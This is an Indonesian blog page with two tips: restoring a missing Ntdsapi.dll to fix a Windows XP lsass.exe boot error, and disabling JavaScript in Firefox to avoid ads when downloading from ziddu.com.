Kadang-kadang Windows XP Home Edition komputer mendapatkan error ini setelah reboot: lsass.exe tidak dapat menemukan komponen. Biasanya kesalahan ini muncul setelah boot yang sangat panjang, maka layar berubah gelap dan hanya terlihat kursor. Masalah ini terjadi karena file Ntdsapi.dll tidak dapat ditemukan.

Berikut adalah bagaimana Anda dapat memecahkan masalah ini:

1. Masukkan Windows XP disk di drive CD atau DVD pada komputer. Tekan dan tahan tombol SHIFT saat Anda memasukkan disk untuk mencegah instalasi Windows XP dari secara otomatis dimulai.

2. Klik Mulai, klik Jalankan, ketik memperluas CD drive: \ i386 \ ntdsapi.dl_% SystemRoot% \ windows \ system32 \ ntdsapi.dll, kemudian klik OK

Drive CD merupakan huruf drive dari drive CD atau DVD drive yang berisi Windows XP disk. Sebagai contoh, jika huruf drive CD atau DVD drive E, ketik berikut ini, dan kemudian klik OK: expand E: \ i386 \ ntdsapi.dl_% SystemRoot% \ windows \ system32 \ ntdsapi.dll

Pastikan bahwa ada karakter spasi di antara "ntdsapi.dl_" dan "% SystemRoot%."

3. Klik Mulai, klik Jalankan, ketik cmd, klik OK.

4. Pada prompt perintah, ketik xcopy c: \ windows \ servicepackfiles \ i386 \ ntdsapi.dll c: \ windows \ system32 dan kemudian tekan ENTER

Note: The lsass.exe file should be in the C:\Windows\System32 folder. Catatan: file harus lsass.exe di C: \ Windows \ System32 folder. If you find it anywhere else, then lsass.exe is a virus, trojan, worm, or spyware! Jika Anda menemukannya di tempat lain, maka lsass.exe adalah virus, trojan, worm, atau spyware!


Rekomendasi



Jangan menonaktifkan lsass.exe, karena dibutuhkan oleh aplikasi-aplikasi penting untuk bekerja dengan baik. Kami juga menyarankan mengoptimalkan komputer Anda dengan Auslogics BoostSpeed.



Details


Pengarang: Microsoft Corp Part Of: Sistem Operasi Microsoft Windows common path (s):% system% \ system32 \ lsass.exe Filesize: 13.312 bytes (84% dari semua kejadian), 11.776 byte, 7.680 byte, byte 14.848, 16.384 bytes

Baca lebih Lengkap.. print this page 

tips download cepat di ziddu.com

tips download cepat di ziddu.com

Anda pasti sudah mengenal situs Ziddu.com kan? sebuah situs baru yang terbilang sukses karena popularitasnya langsung melejit di banding dengan situs-situs serupa. Daya tarik ziddu.com di banding situs lain adalah adanya pemberian komisi terhadap orang yang mengupload file ke ziddu.com dan file tersebut ada yang mendownloadnya. Akibat adanya pemberian komisi tersebut, maka banyak blogger yang sengaja mengupload file ke sana. Walaupun beberapa waktu yang lampau situs ziddu.com sempat di anggap sebagai situs berbahaya oleh Google, namun akhirnya sekarang peringatan tersebut di cabut kembali.

Bagi anda yang pernah mendownload file di ziddu.com , maka pasti sudah mengetahui begitu menjengkelkan.sehingga agak malas untuk mendownload kembali file dari sana. Bagaimana tidak menjengkelkan, halaman download di penuhi dengan iklan-iklan gambar serta iklan pop-up yang bertubi-tubi muncul di layar monitor.

Dari alasan di atas, maka ada tips bagi anda yang ingin download file di ziddu dengan cepat yaitu dengan cara mematikan sementara fungsi JavaScript pada browser internet anda. Berikut adalah langkah secara lengkapnya dengan asumsi bahwa anda telah mengetahui alamat link yang mau di download di ziddu.

1. Buka Browser internet anda.
2. Klik menu Tools, lalu pilih Options

tools
3.Setelah keluar window Options, pilih tab Content kemudian hilangkan tanda ceklis di samping tulisan Enable JavaScript dan Enable Java, kemudian klik tombol OK.
java
4.Silahkan kunjungi alamat file yang ada di ziddu.com, dan niscaya iklan-iklan serta pop-up yang biasanya bejibun tidak akan muncul.
5.Downloadlah file yang anda perlukan dengan jenaka tentunya Open-mouthed
6.Setelah download selesai, tutup layar ziddu.com kemudian aktifkan kembali Enable javaScript Serta Enable Java nya.

Langkah di atas mengambil contoh dengan browser firefox, untuk browser lain langkahnya akan mirip.

Baca lebih Lengkap.. print this page 
Blog: Erwin - Belajar Blog | The Template by : kendhin Website: x-template.blogspot.com| Powered By: Erwin Arianto